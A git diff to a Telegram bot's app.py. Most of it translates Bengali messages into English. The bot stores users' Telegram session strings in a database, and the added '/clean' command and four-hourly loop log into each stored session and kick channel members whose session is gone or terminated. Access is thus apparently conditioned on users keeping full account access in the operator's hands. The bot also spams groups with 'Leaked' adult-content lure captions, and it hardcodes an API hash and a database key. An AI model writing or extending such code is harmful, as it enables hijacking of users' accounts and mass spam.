Update app.py

app.py

@@ -19,6 +19,7 @@ API_ID = 2040
 API_HASH = "b18441a1ff607e10a989891a5462e627"     
 SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
 SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
+PREMIUM_CHANNEL_ID = -1002825744390
 
 # WebApp URL (index.html)
 WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html" 
@@ -74,13 +75,12 @@ def api_check_login():
             temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
             try:
                 await temp_client.connect()
-                await temp_client.get_me() # সেশন অ্যাক্টিভ কিনা টেস্ট করা
+                await temp_client.get_me() 
                 await temp_client.disconnect()
                 return {"status": "logged_in"}
             except Exception:
                 try: await temp_client.disconnect()
                 except: pass
-                # টার্মিনেট থাকলে ডাটাবেস থেকে ডিলিট করে দেবে
                 await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
                 return {"status": "not_logged_in"}
         return {"status": "not_logged_in"}
@@ -228,7 +228,7 @@ async def bot_added_to_group(client, message):
             try:
                 await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
                 group_name = message.chat.title
-                admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
+                admin_msg = f"✅ <b>Bot added to a new group!</b>\n\n📌 <b>Group Name:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
                 for admin_id in ADMIN_IDS:
                     try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
                     except: pass
@@ -242,7 +242,7 @@ async def set_blur_state(client, message):
             if message.chat.id in admin_states:
                 admin_states[message.chat.id].pop("blur_percent", None)
                 admin_states[message.chat.id].pop("clear_percent", None)
-            await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপলোড করা ভিডিও আর ব্লার হবে না, আগের মতো শুধুমাত্র ওয়াটারমার্ক হবে।", parse_mode=enums.ParseMode.HTML)
+            await message.reply("✅ <b>Blur mode is disabled!</b>\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML)
             return
 
         match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
@@ -254,18 +254,18 @@ async def set_blur_state(client, message):
                 if message.chat.id in admin_states:
                     admin_states[message.chat.id].pop("blur_percent", None)
                     admin_states[message.chat.id].pop("clear_percent", None)
-                await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
+                await message.reply("✅ <b>Blur mode is disabled!</b>", parse_mode=enums.ParseMode.HTML)
                 return
 
             if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
             admin_states[message.chat.id]["blur_percent"] = percent
             admin_states[message.chat.id]["clear_percent"] = clear_percent
             
-            clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
-            reply_text = f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}\n\nএখন থেকে আপলোড করা সব ভিডিও/ছবিতে এটি অ্যাপ্লাই হবে।\n<i>(বন্ধ করতে /blur 0)</i>"
+            clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
+            reply_text = f"✅ <b>Blur set to: {percent}%</b>\n📌 {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
             await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
         else:
-            await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
+            await message.reply("❌ <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
     except Exception as e: print(e)
 
 def upload_file_sync(upload_url, file_path, api_key):
@@ -284,7 +284,7 @@ async def handle_media_upload(client, message):
     is_persistent_blur = bool(state.get("blur_percent"))
 
     if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
-        status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
+        status = await message.reply("⏳ Saving thumbnail...")
         try:
             local_path = await message.download()
             def upload_to_supabase():
@@ -295,8 +295,8 @@ async def handle_media_upload(client, message):
 
             direct_link = await asyncio.to_thread(upload_to_supabase)
             if os.path.exists(local_path): os.remove(local_path)
-            await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
-        except Exception as e: await status.edit_text(f"⚠️ আপলোড এরর: {e}")
+            await status.edit_text(f"✅ <b>Thumbnail saved successfully!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
+        except Exception as e: await status.edit_text(f"⚠️ Upload Error: {e}")
         return
 
     raw_caption = message.caption or ""
@@ -328,7 +328,7 @@ async def handle_media_upload(client, message):
             is_large_video = True
             is_blur = False
 
-    status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> ব্লার স্কিপ করা হচ্ছে..." if is_large_video else "⏳ মিডিয়া ডাউনলোড হচ্ছে...")
+    status_msg = await message.reply("⏳ <b>Video is too large!</b> Skipping blur..." if is_large_video else "⏳ Downloading media...")
     bot_me = client.me if client.me else await client.get_me()
     bot_link = f"https://t.me/{bot_me.username}"
     
@@ -339,7 +339,7 @@ async def handle_media_upload(client, message):
         final_file = original_file
         
         if media_type == "video" and not is_large_video:
-            await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (ফাস্ট প্রসেসিং)")
+            await status_msg.edit_text("⏳ Watermarking video... (Fast processing)")
             watermarked_file = f"{original_file}_wm.mp4"
             cmd = [
                 "ffmpeg", "-y", "-i", original_file,
@@ -352,14 +352,14 @@ async def handle_media_upload(client, message):
             if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
             
         if is_blur and not is_large_video:
-            await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
+            await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur...")
             radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
             ext = "jpg" if media_type == "photo" else "mp4"
             blurred_file = f"{original_file}_blurred.{ext}"
             
             if clear_percent > 0:
                 clear_ratio = clear_percent / 100.0
-                ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
+                ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]", "-map", "0:a?"]
             else:
                 ff_filter = ["-vf", f"boxblur={radius}:1"]
             
@@ -372,7 +372,7 @@ async def handle_media_upload(client, message):
             if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
 
         if media_type == "video":
-            await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
+            await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
             api_endpoint = "https://api.byse.sx/upload/server"
             loop = asyncio.get_event_loop()
             response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
@@ -383,29 +383,29 @@ async def handle_media_upload(client, message):
                 if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
                     file_status = upload_res['files'][0].get('status', '')
                     if "not allowed" in str(file_status).lower():
-                        await status_msg.edit_text(f"❌ byse.sx ফাইল রিজেক্ট করেছে: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
+                        await status_msg.edit_text(f"❌ byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
                         return
                     file_code = upload_res['files'][0].get('filecode')
                     if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
             
             if not embed_link:
-                await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
+                await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
                 return
 
         if is_large_video:
-            admin_cap = f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>ভিডিওটি বড় হওয়ায় ব্রডকাস্ট স্কিপ করা হয়েছে।</i>"
+            admin_cap = f"✅ <b>Success! (Large Video)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>Broadcast skipped due to large file size.</i>"
             await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
             await status_msg.delete()
             return  
 
-        await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
+        await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
         if media_type == "video":
             caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
         else:
             caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
         
         group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
-        admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি ব্রডকাস্ট হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
+        admin_cap = f"✅ <b>Success!</b> Media is broadcasting...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
         
         thumb_path = None
         if media_type == "video":
@@ -421,7 +421,7 @@ async def handle_media_upload(client, message):
             sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
             tg_file_id = sent_to_admin.animation.file_id
         else:
-            sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumb=thumb_path)
+            sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
             tg_file_id = sent_to_admin.video.file_id
             
         await status_msg.delete()
@@ -438,9 +438,9 @@ async def handle_media_upload(client, message):
                 await asyncio.sleep(1.5)
             except Exception: fail_count += 1 
                 
-        await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ (রিমুভড): {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
+        await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
         
-    except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
+    except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
     finally:
         for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
             if f and os.path.exists(f):
@@ -453,22 +453,22 @@ async def bot_stats(client, message):
         users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
         videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
         groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
-        await message.reply(f"📊 <b>বটের স্ট্যাটাস:</b>\n👥 ইউজার: <code>{users.count or 0}</code>\n🎬 ভিডিও: <code>{videos.count or 0}</code>\n📢 গ্রুপ: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
+        await message.reply(f"📊 <b>Bot Stats:</b>\n👥 Users: <code>{users.count or 0}</code>\n🎬 Videos: <code>{videos.count or 0}</code>\n📢 Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
     except Exception as e: print(e)
 
 @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
 async def broadcast_command(client, message):
     admin_states[message.chat.id] = {"step": "broadcast"}
-    await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
+    await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")
 
 async def process_broadcast(client, message):
     text = message.text or message.caption
     if text == '/cancel':
         admin_states.pop(message.chat.id, None)
-        await message.reply("❌ বাতিল করা হয়েছে।")
+        await message.reply("❌ Cancelled.")
         return
     
-    await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
+    await message.reply("⏳ Broadcast started...")
     admin_states.pop(message.chat.id, None)
     
     try:
@@ -487,7 +487,7 @@ async def process_broadcast(client, message):
                 await asyncio.sleep(0.15) 
             except Exception: failed += 1
                 
-        await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
+        await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
     except Exception as e: print(e)
 
 @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
@@ -498,13 +498,90 @@ async def add_png(client, message):
         if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
         elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
         elif len(parts) == 2: thumbnail_url = parts[1]
-        else: return await message.reply("❌ নিয়ম ভুল।")
+        else: return await message.reply("❌ Invalid format.")
 
         admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
-        await message.reply("✅ এখন Video/Embed Link দিন।")
+        await message.reply("✅ Now send the Video/Embed Link.")
     except Exception as e: print(e)
 
-@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
+@bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
+async def manual_clean_channel(client, message):
+    await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking all members in the premium channel to verify active sessions. This might take a while.")
+    try:
+        kicked, checked = 0, 0
+        async for member in client.get_chat_members(PREMIUM_CHANNEL_ID):
+            if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
+                continue
+            
+            checked += 1
+            user_id = member.user.id
+            res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
+            
+            is_valid = False
+            if res.data:
+                session_string = res.data[0]['session_string']
+                temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
+                try:
+                    await temp_client.connect()
+                    await temp_client.get_me()
+                    await temp_client.disconnect()
+                    is_valid = True
+                except Exception:
+                    try: await temp_client.disconnect()
+                    except: pass
+                    await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
+            
+            if not is_valid:
+                try:
+                    await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                    await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only so they can re-join later
+                    kicked += 1
+                except Exception as e: pass
+            
+            await asyncio.sleep(1.5)
+            
+        await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked (Terminated Session): {kicked}")
+    except Exception as e:
+        await message.reply(f"❌ Error: {e}")
+
+async def auto_clean_channel_loop():
+    await asyncio.sleep(60) # Wait 1 min after startup
+    while True:
+        try:
+            async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
+                if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
+                    continue
+                
+                user_id = member.user.id
+                res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
+                
+                is_valid = False
+                if res.data:
+                    session_string = res.data[0]['session_string']
+                    temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
+                    try:
+                        await temp_client.connect()
+                        await temp_client.get_me()
+                        await temp_client.disconnect()
+                        is_valid = True
+                    except Exception:
+                        try: await temp_client.disconnect()
+                        except: pass
+                        await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
+                
+                if not is_valid:
+                    try:
+                        await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                        await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                    except Exception: pass
+                
+                await asyncio.sleep(2)
+        except Exception as e:
+            print(f"Auto clean error: {e}")
+        
+        await asyncio.sleep(4 * 3600) # Run every 4 hours
+
+@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
 async def catch_admin_steps(client, message):
     state = admin_states.get(message.chat.id, {})
     if state.get("step") == 1:
@@ -512,11 +589,11 @@ async def catch_admin_steps(client, message):
         video_url = message.text.strip()
         if video_url == "/cancel":
             admin_states.pop(message.chat.id, None)
-            return await message.reply("❌ বাতিল করা হয়েছে।")
+            return await message.reply("❌ Cancelled.")
             
         try:
             await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
-            await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
+            await message.reply("🎉 Video added successfully!")
         except Exception as e: print(e)
         finally: admin_states.pop(message.chat.id, None)
     elif state.get("step") == "broadcast":
@@ -525,7 +602,8 @@ async def catch_admin_steps(client, message):
 def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
 async def main():
     await bot.start()
-    print("🤖 Pyrogram Bot & Real Session Generator is running!")
+    print("🤖 Pyrogram Bot & Real Session API is running!")
+    asyncio.create_task(auto_clean_channel_loop())
     await idle()
     await bot.stop()